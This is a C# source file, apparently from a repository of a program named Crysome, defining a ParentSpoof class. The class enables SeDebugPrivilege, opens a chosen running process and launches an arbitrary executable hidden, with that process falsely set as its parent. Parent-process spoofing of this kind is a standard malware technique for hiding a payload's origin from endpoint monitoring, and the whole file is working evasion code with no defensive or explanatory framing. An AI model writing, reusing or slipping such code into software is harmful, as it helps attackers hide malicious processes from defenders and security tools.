Files
2026-08-27 11:22:54 -06:00

270 lines
6.8 KiB
C#

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace Crysome.Client.Configuration;
public static class ParentSpoof
{
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFOEX
{
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
private struct LUID
{
public uint LowPart;
public int HighPart;
}
private struct TOKEN_PRIVILEGES
{
public int PrivilegeCount;
public LUID Luid;
public int Attributes;
}
private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u;
private const uint CREATE_NO_WINDOW = 134217728u;
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072;
private const uint PROCESS_CREATE_PROCESS = 128u;
private const int SE_PRIVILEGE_ENABLED = 2;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private static void EnableDebugPrivilege()
{
try
{
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
{
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
NewState.PrivilegeCount = 1;
NewState.Attributes = 2;
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
{
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(TokenHandle);
}
}
catch
{
}
}
public static bool TrySpawnUnderParent(string parentName, string exePath, string args)
{
if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath))
{
return false;
}
EnableDebugPrivilege();
int num = FindProcessIdByName(parentName);
if (num <= 0)
{
return false;
}
IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num);
if (intPtr == IntPtr.Zero)
{
return false;
}
try
{
IntPtr lpSize = IntPtr.Zero;
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0)
{
return false;
}
IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize);
try
{
if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize))
{
return false;
}
try
{
IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size);
try
{
Marshal.WriteIntPtr(intPtr3, intPtr);
if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
{
return false;
}
}
finally
{
Marshal.FreeHGlobal(intPtr3);
}
STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX
{
StartupInfo = new STARTUPINFO
{
cb = Marshal.SizeOf(typeof(STARTUPINFOEX)),
dwFlags = 1,
wShowWindow = 0
},
lpAttributeList = intPtr2
};
string text = "\"" + exePath + "\"";
if (!string.IsNullOrEmpty(args))
{
text = text + " " + args;
}
if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
{
CloseHandle(lpProcessInformation.hProcess);
CloseHandle(lpProcessInformation.hThread);
return true;
}
Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error());
}
finally
{
DeleteProcThreadAttributeList(intPtr2);
}
}
finally
{
Marshal.FreeHGlobal(intPtr2);
}
}
finally
{
CloseHandle(intPtr);
}
Program.Log("ParentSpoof: Failed to spawn under " + parentName);
return false;
}
private static int FindProcessIdByName(string name)
{
string text = name.ToLowerInvariant();
if (!text.EndsWith(".exe"))
{
text += ".exe";
}
try
{
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
try
{
if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase))
{
int id = process.Id;
process.Dispose();
return id;
}
}
catch
{
}
finally
{
process.Dispose();
}
}
}
catch
{
}
return 0;
}
}